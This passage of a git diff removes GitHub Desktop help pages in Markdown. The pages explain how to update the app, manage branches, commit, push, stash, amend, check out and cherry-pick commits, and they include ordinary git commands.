variables.product.prodname_desktop %}**. - - ![Screenshot of the menu bar on a Mac. Under the open "GitHub Desktop" dropdown menu, a cursor hovers over "About GitHub Desktop", highlighted in blue.](/assets/images/help/desktop/desktop-menu-about-desktop-mac.png) - -1. In the modal window, click **Check for Updates**. - ![Screenshot of the "GitHub Desktop" window. Under version details and links to external resources, a "Check for Updates" button is outlined in orange.](/assets/images/help/desktop/check-for-updates.png) -1. If an update is available, quit and relaunch {% data variables.product.prodname_desktop %} to install the update. - -## Resolving a crash at launch by updating {% data variables.product.prodname_desktop %} - -If you encounter a crash when attempting to launch {% data variables.product.prodname_desktop %} versions 3.0.2 through 3.1.3, download the latest version from the [{% data variables.product.prodname_desktop %}](https://desktop.github.com) site, then replace your existing application with the new version. Your preferences and tracked repositories will be retained. - -1. Navigate to the [{% data variables.product.prodname_desktop %}](https://desktop.github.com) site. -1. Download the latest version of {% data variables.product.prodname_desktop %}. -1. In your "Downloads" folder, locate the downloaded application. -1. If the downloaded application is in a zip file, unpack the file by double clicking on the zip file. -1. Drag the {% data variables.product.prodname_desktop %} application from your "Downloads" folder to the "Applications" folder. -1. Approve the dialog asking if you want to replace the existing application. -1. Launch {% data variables.product.prodname_desktop %}. -1. Approve the prompt stating that application was downloaded from the internet. - -{% endmac %} - -{% windows %} - -1. In the menu bar, select **Help**, then click **About GitHub Desktop**. - - ![Screenshot of the "GitHub Desktop" menu bar on Windows. In the open "Help" dropdown menu, the "About GitHub Desktop" option is outlined in orange.](/assets/images/help/desktop/help-about-desktop-win.png) - -1. Click **Check for Updates**. - - ![Screenshot of the "GitHub Desktop" window. Under version details and links to external resources, a "Check for Updates" button is outlined in orange.](/assets/images/help/desktop/check-for-updates.png) - -1. If an update is available, quit and relaunch {% data variables.product.prodname_desktop %} to install the update. - -{% endwindows %} diff --git a/content/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop.md b/content/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop.md deleted file mode 100644 index 02f9adb3e487..000000000000 --- a/content/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop.md +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Committing and reviewing changes to your project in GitHub Desktop -intro: '{% data variables.product.prodname_desktop %} tracks all changes to all files as you edit them. You can decide how to group the changes to create meaningful commits.' -redirect_from: - - /desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project - - /desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: Commit & review changes ---- -## About commits - -{% data reusables.commits.about-commits %} You can also add a co-author on any commits you collaborate on. - -{% data reusables.desktop.update-email-address %} For more information, see [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop). - -Repository administrators can enable rulesets for a branch to enforce specific conventions when committing. For example, a ruleset can require a commit to be signed, or for an issue number to be referenced at the start of a commit message. {% data variables.product.prodname_desktop %} will display a warning and prevent committing if a commit does not follow the rulesets. For more information, see [AUTOTITLE](/enterprise-cloud@latest/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -## Choosing a branch and making changes - -1. [Create a new branch](/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop), or select an existing branch by clicking **{% octicon "git-branch" aria-hidden="true" %} Current Branch** on the toolbar and selecting the branch from the list. - - ![Screenshot of the "Current Branch" dropdown view. Under "Recent Branches", a branch, named "my-feature", is highlighted with an orange outline.](/assets/images/help/desktop/select-branch-from-dropdown.png) -{% data reusables.desktop.make-changes %} - -## Choosing how to display diffs - -You can change the way diffs are displayed in {% data variables.product.prodname_desktop %} to suit your reviewing needs. - -To change how you view diffs, in the top-right corner of the diff view, click {% octicon "gear" aria-label="The Gear icon" %}. -* To change how the entire diff is displayed, under "Diff display", select **Unified** or **Split**. The Unified view shows changes linearly, while the Split view shows old content on the left side and new content on the right side. -* To hide whitespace changes so you can focus on more substantive changes, select **Hide Whitespace Changes**. - -![Screenshot of the diff view of a file. A gear icon is outlined in orange and expanded to display "Whitespace" and "Diff display" settings.](/assets/images/help/desktop/diff-selection.png) - -{% data reusables.desktop.diff-tab-size-tip %} - -If you need to see more of the file than {% data variables.product.prodname_desktop %} shows by default, you can expand the diff. -* To see the next few lines above or below the highlighted changes, click the arrow above or below the line numbers. -* To see the entire file, right-click in the diff view and click **Expand Whole File**. - -![Screenshot of the diff view of a "README" file. Over a green "addition" line, in a context menu, the cursor hovers over "Expand Whole File".](/assets/images/help/desktop/expand-diff-view.png) - -## Selecting changes to include in a commit - -As you make changes to files in your text editor and save them locally, you will also see the changes in {% data variables.product.prodname_desktop %}. - -In the "Changes" tab in the left sidebar: - -* The red {% octicon "diff-removed" aria-label="The diff removed icon color-red" %} icon indicates removed files. -* The yellow {% octicon "diff-modified" aria-label="The diff modified icon color-yellow" %} icon indicates modified files. -* The green {% octicon "diff-added" aria-label="The diff added icon color-green" %} icon indicates added files. -* To access stashed changes, click **Stashed Changes**. -* {% data reusables.desktop.commit-all-desc %} - - ![Screenshot of the "Changes" tab. Above the list of changed files, next to the text "3 changed files", a selected checkbox is outlined in orange.](/assets/images/help/desktop/commit-all.png) -* {% data reusables.desktop.commit-some-desc %} - -### Creating a partial commit - -If one file contains multiple changes, but you only want some of those changes to be included in a commit, you can create a partial commit. The rest of your changes will remain intact, so that you can make additional modifications and commits. This allows you to make separate, meaningful commits, such as keeping line break changes in a commit separate from code or prose changes. - -To exclude changed lines from your commit, click one or more changed lines so the blue disappears. The lines that are still highlighted in blue will be included in the commit. - -![Screenshot of the diff view of a file. The background color for the line number of "I don't want to include this line" is green, not blue.](/assets/images/help/desktop/partial-commit.png) - -## Discarding changes - -If you have uncommitted changes that you don't want to keep, you can discard the changes. This will remove the changes from the files on your computer. You can discard all uncommitted changes in one or more files, or you can discard specific lines you added. - -Discarded changes are saved in a dated file in the Trash. You can recover discarded changes until the Trash is emptied. - -### Discarding changes in one or more files - -{% data reusables.desktop.select-discard-files %} -{% data reusables.desktop.click-discard-files %} - - ![Screenshot of the "Changes" tab. Two selected files are highlighted in blue. In a context menu, the cursor hovers over "Discard 2 Selected Changes".](/assets/images/help/desktop/discard-changes-mac.png) -{% data reusables.desktop.confirm-discard-files %} - -### Discarding changes in one or more lines - -You can discard one or more changed lines that are uncommitted. - -> [!NOTE] -> Discarding single lines is disabled in a group of changes that adds and removes lines. - -To discard one added line, in the list of changed lines, right-click the line number of the line you want to discard, then select **Discard Added Line**. - -![Screenshot of the diff view of a file. In a context menu, a cursor hovers over "Discard Added Line", highlighted in blue.](/assets/images/help/desktop/discard-single-line.png) - -To discard a group of changed lines, right-click the vertical bar to the right of the line numbers for the lines you want to discard, then select **Discard added lines**. - -![Screenshot of the diff view of a file. To the right of the line numbers, a narrow, darker blue line is highlighted with an orange outline.](/assets/images/help/desktop/discard-multiple-lines.png) - -## Write a commit message and push your changes - -Once you're satisfied with the changes you've chosen to include in your commit, write your commit message and push your changes. If you've collaborated on a commit, you can also attribute a commit to more than one author. - -> [!NOTE] -> {% data reusables.desktop.tags-push-with-commits %} For more information, see [AUTOTITLE](/desktop/managing-commits/managing-tags-in-github-desktop). - -{% data reusables.desktop.commit-message %} - - ![Screenshot of the "Changes" tab in the sidebar. To the right of a profile picture, a text field containing a commit message is outlined in orange.](/assets/images/help/desktop/commit-message.png) -1. Optionally, to attribute a commit to another author, click the add co-authors icon and type the username(s) you want to include. - - ![Screenshot of the "Changes" tab. In the corner of the "Description" field, the icon for adding a co-author is outlined in orange.](/assets/images/help/desktop/add-co-author-commit.png) -{% data reusables.desktop.commit-button %} -1. If the branch you're trying to commit to is protected, Desktop will warn you. - * To move your changes, click **switch branches**. - * To commit your changes to the protected branch, click **Commit to BRANCH**. - - For more information about protected branches, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). -{% data reusables.desktop.push-origin %} - -1. If you have a pull request based off the branch you are working on, {% data variables.product.prodname_desktop %} will display the status of the checks that have run for the pull request next to the "Current Branch" section of the repository bar. For more information about checks, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop). - - If a pull request has not been created for the current branch, {% data variables.product.prodname_desktop %} will give you the option to preview the changes and create one. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request-from-github-desktop). - - ![Screenshot of the "No local changes" view. A button, labeled "Preview Pull Request", is highlighted with an orange outline.](/assets/images/help/desktop/mac-preview-pull-request.png) - -## Managing your commit history - -If you need to undo a commit or revise your commit history (to make it easier for a reviewer to follow your changes), {% data variables.product.prodname_desktop %} provides a number of options for managing your commit history. For more information, see [AUTOTITLE](/desktop/managing-commits/options-for-managing-commits-in-github-desktop). - -## Further reading - -* [AUTOTITLE](/get-started/using-git) diff --git a/content/desktop/making-changes-in-a-branch/index.md b/content/desktop/making-changes-in-a-branch/index.md deleted file mode 100644 index acfd2aacf641..000000000000 --- a/content/desktop/making-changes-in-a-branch/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Making changes in a branch -intro: 'Use your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), to make changes to your project, then use {% data variables.product.prodname_desktop %} to visualize useful commits.' -redirect_from: - - /desktop/contributing-to-projects/making-changes-in-a-branch - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch -versions: - feature: desktop -children: - - /managing-branches-in-github-desktop - - /committing-and-reviewing-changes-to-your-project-in-github-desktop - - /stashing-changes-in-github-desktop - - /viewing-the-branch-history-in-github-desktop - - /pushing-changes-to-github-from-github-desktop -shortTitle: Make changes in a branch ---- - diff --git a/content/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop.md b/content/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop.md deleted file mode 100644 index a7ff97d321e6..000000000000 --- a/content/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Managing branches in GitHub Desktop -shortTitle: Managing branches -intro: 'You can use {% data variables.product.prodname_desktop %} to create a new branch off of an existing branch in your repository so you can safely experiment with changes.' -redirect_from: - - /desktop/contributing-to-projects/creating-a-branch-for-your-work - - /desktop/contributing-to-projects/switching-between-branches - - /desktop/contributing-to-projects/managing-branches - - /desktop/contributing-and-collaborating-using-github-desktop/managing-branches - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -## About managing branches - -You can use branches to safely experiment with changes to your project. Branches isolate your development work from other branches in the repository. For example, you could use a branch to develop a new feature or fix a bug. - -You always create a branch from an existing branch. Typically, you might create a branch from the default branch of your repository. You can then work on this new branch in isolation from changes that other people are making to the repository. - -You can also create a branch starting from a previous commit in a branch's history. This can be helpful if you need to return to an earlier view of the repository to investigate a bug, or to create a hot fix on top of your latest release. - -Once you're satisfied with your work, you can create a pull request to merge your changes in the current branch into another branch. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request-from-github-desktop) and [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). - -You can always create a branch in {% data variables.product.prodname_desktop %} if you have read access to a repository, but you can only push the branch to {% data variables.product.prodname_dotcom %} if you have write access to the repository. - -{% data reusables.desktop.protected-branches %} - -Repository administrators can also enable rulesets. Rulesets can be used to require specific branch names when creating a new branch, or to allow only users with bypass permissions to publish a new branch to the remote repository. {% data variables.product.prodname_desktop %} will show a warning and prevent the branch from being created if the branch does not follow the rulesets. For more information, see [AUTOTITLE](/enterprise-cloud@latest/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -## Creating a branch - -> [!TIP] -> The first new branch you create will be based on the default branch. If you have more than one branch, you can choose to base the new branch on the currently checked out branch or the default branch. - -{% data reusables.desktop.click-base-branch-in-drop-down %} -{% data reusables.desktop.create-new-branch %} - - ![Screenshot of the "Current Branch" dropdown view. Next to the "Filter" field, a button, labeled "New Branch", is outlined in orange.](/assets/images/help/desktop/new-branch-button-mac.png) - -{% data reusables.desktop.name-branch %} -{% data reusables.desktop.select-base-branch %} -{% data reusables.desktop.confirm-new-branch-button %} - -## Creating a branch from a previous commit - -{% data reusables.desktop.history-tab %} -1. Right-click on the commit you would like to create a new branch from and select **Create Branch from Commit**. - - ![Screenshot of a list of commits in the "History" tab. Next to a commit, the cursor hovers the "Create Branch from Commit" option in a context menu.](/assets/images/help/desktop/create-branch-from-commit-context-menu.png) - -{% data reusables.desktop.name-branch %} -{% data reusables.desktop.confirm-new-branch-button %} - -## Publishing a branch - -If you create a branch in {% data variables.product.prodname_desktop %}, you'll need to publish the branch to make it available for collaboration on {% data variables.product.github %}. - -1. In the repository bar, click **{% octicon "git-branch" aria-hidden="true" %} Current Branch**, then click the branch that you want to publish. - ![Screenshot of the "Current Branch" dropdown view. Under "Recent Branches", a branch, named "my-feature", is highlighted with an orange outline.](/assets/images/help/desktop/select-branch-from-dropdown.png) -1. Click **Publish branch**. - ![Screenshot of the repository bar. On the right-hand side, a button, labeled "Publish branch", is highlighted with an orange outline.](/assets/images/help/desktop/publish-branch-button.png) - -## Switching between branches - -You can view and make commits to any of your repository's branches. If you have uncommitted, saved changes, you'll need to decide what to do with your changes before you can switch branches. You can commit your changes on the current branch, stash your changes to temporarily save them on the current branch, or bring the changes to your new branch. If you want to commit your changes before switching branches, see [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop). - -> [!TIP] -> You can set a default behavior for switching branches in the **Prompts** settings. For more information, see [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/configuring-basic-settings-in-github-desktop). - -1. In the repository bar, click **{% octicon "git-branch" aria-hidden="true" %} Current Branch**, then click the branch that you want to switch to. - ![Screenshot of the "Current Branch" dropdown view. Under "Recent Branches", a branch, named "my-feature", is highlighted with an orange outline.](/assets/images/help/desktop/select-branch-from-dropdown.png) -1. If you have saved, uncommitted changes, in the "Switch Branch" window, select **Leave my changes on CURRENT-BRANCH** or **Bring my changes to NEW-BRANCH**, then click **Switch Branch**. - -## Deleting a branch - -You can't delete a branch if it's currently associated with an open pull request. You cannot undo deleting a branch. - -{% mac %} - -{% data reusables.desktop.select-branch-to-delete %} -{% data reusables.desktop.delete-branch-mac %} - ![Screenshot of the menu bar on a Mac. In the expanded "Branch" dropdown menu, the cursor hovers over the "Delete" option, highlighted in blue.](/assets/images/help/desktop/delete-branch-mac.png) - -{% endmac %} - -{% windows %} - -{% data reusables.desktop.select-branch-to-delete %} -{% data reusables.desktop.delete-branch-win %} - ![Screenshot of the "GitHub Desktop" menu bar on Windows. In the expanded "Branch" dropdown menu, an option labeled "Delete" is outlined in orange.](/assets/images/help/desktop/delete-branch-win.png) - -{% endwindows %} - -## Further reading - -* [AUTOTITLE](/desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop) -* [AUTOTITLE](/get-started/learning-about-github/github-glossary#branch) in the {% data variables.product.prodname_dotcom %} glossary -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) -* [Branches in a Nutshell](https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell) in the Git documentation -* [AUTOTITLE](/desktop/making-changes-in-a-branch/stashing-changes-in-github-desktop) diff --git a/content/desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop.md b/content/desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop.md deleted file mode 100644 index d7333d2c7a09..000000000000 --- a/content/desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Pushing changes to GitHub from GitHub Desktop -shortTitle: Pushing changes -intro: 'As you commit changes to your project locally, you can push those changes to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_desktop %} so that others may access them from the remote repository.' -permissions: People with write permissions can push changes to a repository. -redirect_from: - - /desktop/contributing-to-projects/pushing-changes-to-github - - /desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github-from-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- -## About pushing changes to {% data variables.product.prodname_dotcom %} - -When you push changes, you send the committed changes in your local repository to the remote repository on {% data variables.product.prodname_dotcom %}. If you change your project locally and want other people to have access to the changes, you must push the changes to {% data variables.product.prodname_dotcom %}. - -Before pushing changes, you should update your local branch to include any commits that have been added to the remote repository. If someone has made commits on the remote that are not on your local branch, {% data variables.product.prodname_desktop %} will prompt you to fetch the new commits before pushing your changes to avoid merge conflicts. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/syncing-your-branch-in-github-desktop). - -{% data reusables.desktop.protected-branches %} - -Repository administrators can also enable rulesets for a branch, which will prevent a push from completing if a ruleset has not been followed. For example, a ruleset may require a specific branch naming convention, or an issue number at the start of a commit message. {% data variables.product.prodname_desktop %} will warn about rulesets to help prevent your branch from getting into a state where you would be unable to push your changes. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -## Pushing changes to {% data variables.product.prodname_dotcom %} - -> [!NOTE] -> {% data variables.product.prodname_desktop %} will reject a push if it exceeds certain limits. -> -> * A push contains a large file over {% data variables.large_files.max_github_size %} in size. -> * A push is over {% data variables.large_files.max_file_size %} in total size. -> -> If you configure {% data variables.large_files.product_name_long %} to track your large files, you can push large files that would normally be rejected. For more information, see [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop). - -{% data reusables.desktop.push-origin %} -1. If there are commits on the remote branch that you don't have on your local branch, {% data variables.product.prodname_desktop %} prompts you to fetch new commits from the remote. In the "New Commits on Remote" window, click **Fetch**. -1. Optionally, click **Preview Pull Request** to open a preview dialog where you can review your changes and begin to create a pull request. For more information, see [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request-from-github-desktop). - - ![Screenshot of the "No local changes" view. A button, labeled "Preview Pull Request", is highlighted with an orange outline.](/assets/images/help/desktop/mac-preview-pull-request.png) - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/github-glossary#push) in the {% data variables.product.prodname_dotcom %} glossary -* [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop) -* [AUTOTITLE](/get-started/using-git) diff --git a/content/desktop/making-changes-in-a-branch/stashing-changes-in-github-desktop.md b/content/desktop/making-changes-in-a-branch/stashing-changes-in-github-desktop.md deleted file mode 100644 index feae956618ca..000000000000 --- a/content/desktop/making-changes-in-a-branch/stashing-changes-in-github-desktop.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Stashing changes in GitHub Desktop -shortTitle: Stashing changes -intro: 'You can temporarily save your changes without committing them to a branch by stashing the changes in {% data variables.product.prodname_desktop %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/stashing-changes - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes-in-github-desktop ---- -## About stashed changes - -To apply your changes to your repository, you must save the files and then commit the changes to a branch. If you have saved changes that you are not ready to commit yet, you can stash the changes for later. When you stash changes, the changes are temporarily removed from the files and you can choose to restore or discard the changes later. You can only stash one set of changes at a time with {% data variables.product.prodname_desktop %}. If you use {% data variables.product.prodname_desktop %} to stash changes, all unsaved changes will be stashed. After you stash changes on a branch, you can safely change branches or make other changes to your current branch. - -If you use {% data variables.product.prodname_desktop %} to switch branches while you have saved, but not committed, changes, {% data variables.product.prodname_desktop %} will prompt you to stash the changes or bring them to the other branch. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop#switching-between-branches). - -## Stashing changes - -{% data reusables.desktop.click-changed-files-header %} -{% data reusables.desktop.click-stash-all-changes %} - -## Restoring stashed changes - -{% data reusables.desktop.navigate-to-stashed-changes %} -{% data reusables.desktop.click-stashed-changes %} -{% data reusables.desktop.click-restore %} - -## Discarding stashed changes - -{% data reusables.desktop.navigate-to-stashed-changes %} -{% data reusables.desktop.click-stashed-changes %} -{% data reusables.desktop.click-discard %} diff --git a/content/desktop/making-changes-in-a-branch/viewing-the-branch-history-in-github-desktop.md b/content/desktop/making-changes-in-a-branch/viewing-the-branch-history-in-github-desktop.md deleted file mode 100644 index 35c5113f19cc..000000000000 --- a/content/desktop/making-changes-in-a-branch/viewing-the-branch-history-in-github-desktop.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Viewing the branch history in GitHub Desktop -intro: 'You can see details about any commit in {% data variables.product.prodname_desktop %}, including a diff of the changes the commit introduced.' -redirect_from: - - /desktop/contributing-to-projects/viewing-the-branch-history - - /desktop/contributing-and-collaborating-using-github-desktop/viewing-the-branch-history - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history - - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history-in-github-desktop -versions: - fpt: '*' - ghec: '*' - ghes: '*' -shortTitle: View branch history ---- -Each commit shows: - -* The commit message -* The time the commit was created -* The committer's username and profile photo (if available) -* The commit's SHA-1 hash (the unique ID) - -{% data reusables.desktop.history-tab %} -1. On the **History** tab, click the commit you'd like to review. - - {% mac %} - - You can also select a range of multiple consecutive commits using Command or Shift. - - {% endmac %} - - {% windows %} - - You can also select a range of multiple consecutive commits using Ctrl or Shift. - - {% endwindows %} - - ![Screenshot of a list of commits in the "History" tab. Three consecutive selected commits are highlighted in blue and outlined in orange.](/assets/images/help/desktop/branch-history-commit.png) - -1. If there are multiple files in the commit or range of commits, click on an individual file to see the changes made to that file. - - ![Screenshot of a commit view. To the right of the "History" tab, the "hello.txt" file is selected from a list and highlighted with an orange outline.](/assets/images/help/desktop/branch-history-file.png) - -## Further reading - -* [AUTOTITLE](/desktop/working-with-your-remote-repository-on-github-or-github-enterprise/syncing-your-branch-in-github-desktop) diff --git a/content/desktop/managing-commits/amending-a-commit-in-github-desktop.md b/content/desktop/managing-commits/amending-a-commit-in-github-desktop.md deleted file mode 100644 index be7e18bc57f2..000000000000 --- a/content/desktop/managing-commits/amending-a-commit-in-github-desktop.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Amending a commit in GitHub Desktop -shortTitle: Amending a commit -intro: 'You can use {% data variables.product.prodname_desktop %} to amend your last commit.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit-in-github-desktop ---- - -## About amending a commit - -Amending a commit is a way to modify the most recent commit you have made in your current branch. This can be helpful if you need to edit the commit message or if you forgot to include changes in the commit. When you amend a commit, you replace the previous commit with a new commit to your current branch. - -If possible, you should only amend a commit that you haven't pushed to the remote repository. To amend a commit that has been pushed to the remote repository, you will need to use a force push to overwrite the commit history in the remote repository. Overwriting commit history may cause confusion for other collaborators working with the repository, because they may have already based work on the commit you have amended. - -## Amending a commit - -{% data reusables.desktop.history-tab %} -1. Right-click on the most recent commit and select **Amend commit**. - - ![Screenshot of a list of commits in the "History" tab. Next to a commit, in a context menu, the cursor hovers over "Amend commit".](/assets/images/help/desktop/amend-commit-context-menu.png) -1. In the "Amend Will Require Force Push" dialog window, click **Begin Amend**. -1. In the "Changes" tab, use the **Summary** field to modify the commit message. Optionally, you can modify or add information about the commit in the **Description** field. -1. Select any uncommitted changes that you would like to add to the commit. For more information about selecting changes, see [AUTOTITLE](/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop#selecting-changes-to-include-in-a-commit). -1. Once you have finalized your changes, click **Amend last commit**. - -## Further reading - -* [AUTOTITLE](/desktop/managing-commits/options-for-managing-commits-in-github-desktop) diff --git a/content/desktop/managing-commits/checking-out-a-commit-in-github-desktop.md b/content/desktop/managing-commits/checking-out-a-commit-in-github-desktop.md deleted file mode 100644 index fd7cd056d1a2..000000000000 --- a/content/desktop/managing-commits/checking-out-a-commit-in-github-desktop.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Checking out a commit in GitHub Desktop -shortTitle: Checking out a commit -intro: 'You can use {% data variables.product.prodname_desktop %} to checkout a previous commit in your repository.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/checking-out-a-commit-in-github-desktop ---- - -## About checking out a commit - -Checking out a commit allows you to view your repository in a previous state without needing to create a new branch or modify an existing branch. This can be helpful when debugging since it allows you to see if a bug exists in your repository at a previous commit. - -Checking out a commit puts your repository in a "detached HEAD" state. In Git terminology "HEAD" is the reference that points to the tip, or latest commit, of a named branch in your repository. A "detached HEAD" state means that HEAD refers to a specific commit, but not on a named branch in your repository. - -> [!NOTE] -> Any commits made in a "detached HEAD" state will be lost when switching branches, since these commits have not been made on a named branch. If you need to recover the lost commits, see [Troubleshooting](#troubleshooting). - -## Checking out a commit - -{% data reusables.desktop.history-tab %} -1. Right-click on the commit you would like to checkout and select **Checkout commit**. - ![Screenshot of a list of commits in the "History" tab. Next to a commit, in a context menu, the "Checkout Commit" option is outlined in orange.](/assets/images/help/desktop/checkout-commit.png) -1. The **{% octicon "git-branch" aria-hidden="true" %} Current Branch** item in the repository bar will now show "Detached HEAD", along with the SHA of the commit that was checked out. - ![Screenshot of the repository bar. The "Current Branch" item shows a "Detached HEAD" state and is highlighted with an orange outline.](/assets/images/help/desktop/branch-item.png) -1. To exit the "detached HEAD" state you will need to switch branches. For more information, see [AUTOTITLE](/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop#switching-between-branches). - -## Troubleshooting - -You can recover commits that have been made in a "detached HEAD" state using the `git reflog` command from the Git command line. You can open your repository in the command line from {% data variables.product.prodname_desktop %} by going to the menu bar, selecting **Repository**, and clicking **Open in command line**. - -The `git reflog` command will show the output of events that have happened in your repository, including commits. Here is a sample output of the `git reflog` command: - -```shell -81fa9136f8 (HEAD -> main) HEAD@{0}: checkout: moving from 8bd5e736a27a52a7e36a856b30e6f0582d341aa1 to main -8bd5e736a2 HEAD@{1}: commit: testing out a feature -22fa76c125 HEAD@{2}: checkout: moving from main to 22fa76c1250a2847305b9325752d941dbaa55983 -``` - -The `8bd5e736a2 HEAD@{1}: commit: testing out a feature` line is the commit that we want to recover, since it was made while the repository was in a "detached HEAD" state. To recover it you can run `git cherry-pick 8bd5e736a2` to apply the commit to the current branch in your repository. - -## Further reading - -* [Detached HEAD](https://git-scm.com/docs/git-checkout#_detached_head) in the Git documentation -* [Git cherry-pick](https://git-scm.com/docs/git-cherry-pick) in the Git documentation diff --git a/content/desktop/managing-commits/cherry-picking-a-commit-in-github-desktop.md b/content/desktop/managing-commits/cherry-picking-a-commit-in-github-desktop.md deleted file mode 100644 index 41a9b7447765..000000000000 --- a/content/desktop/managing-commits/cherry-picking-a-commit-in-github-desktop.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Cherry-picking a commit in GitHub Desktop -shortTitle: Cherry-picking a commit -intro: 'You can use {% data variables.product.prodname_desktop %} to pick a specific commit on one branch and copy the commit to another branch.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /desktop/contributing-and-collaborating-using-github-desktop/cherry-picking-a-commit - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit - - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit-in-github-desktop ---- -## About Git cherry-pick - -You can cherry-pick a commit on one branch to create a copy of the commit with the same changes on another branch. If you commit changes to the wrong branch or want to make the same changes to another branch, you can cherry-pick the commit to apply the changes to another branch. You can also use cherry-picking to apply specific changes before you are ready to create or merge a pull request. For example, if you commit a bug fix to a feature branch, you can cherry-pick the commit with the bug fix to other branches of your project. - -You can also use cherry-picking when collaborating with a team. Some projects incorporate contributions by cherry-picking commits. For more information, see [Distributed Git - Maintaining a Project](https://git-scm.com/book/en/v2/Distributed-Git-Maintaining-a-Project#_rebase_cherry_pick) in the Git documentation. - -## Cherry-picking a commit - -{% data reusables.desktop.current-branch-menu %} -1. In the list of branches, click the branch that has the commit that you want to cherry-pick. - - ![Screenshot of the "Current Branch" dropdown view. Under "Recent Branches", a branch, named "my-feature", is highlighted with an orange outline.](/assets/images/help/desktop/select-branch-from-dropdown.png) - -{% data reusables.desktop.history-tab %} -1. Select the commit you would like to cherry-pick. - - {% mac %} - - You can select one commit or select multiple commits using Command or Shift. - - {% endmac %} - - {% windows %} - - You can select one commit or select multiple commits using Ctrl or Shift. - - {% endwindows %} - -1. Right-click the selected commit and click **Cherry pick commit**, then select the branch that you want to copy the commit to. You can also drag the commit that you want to cherry-pick from 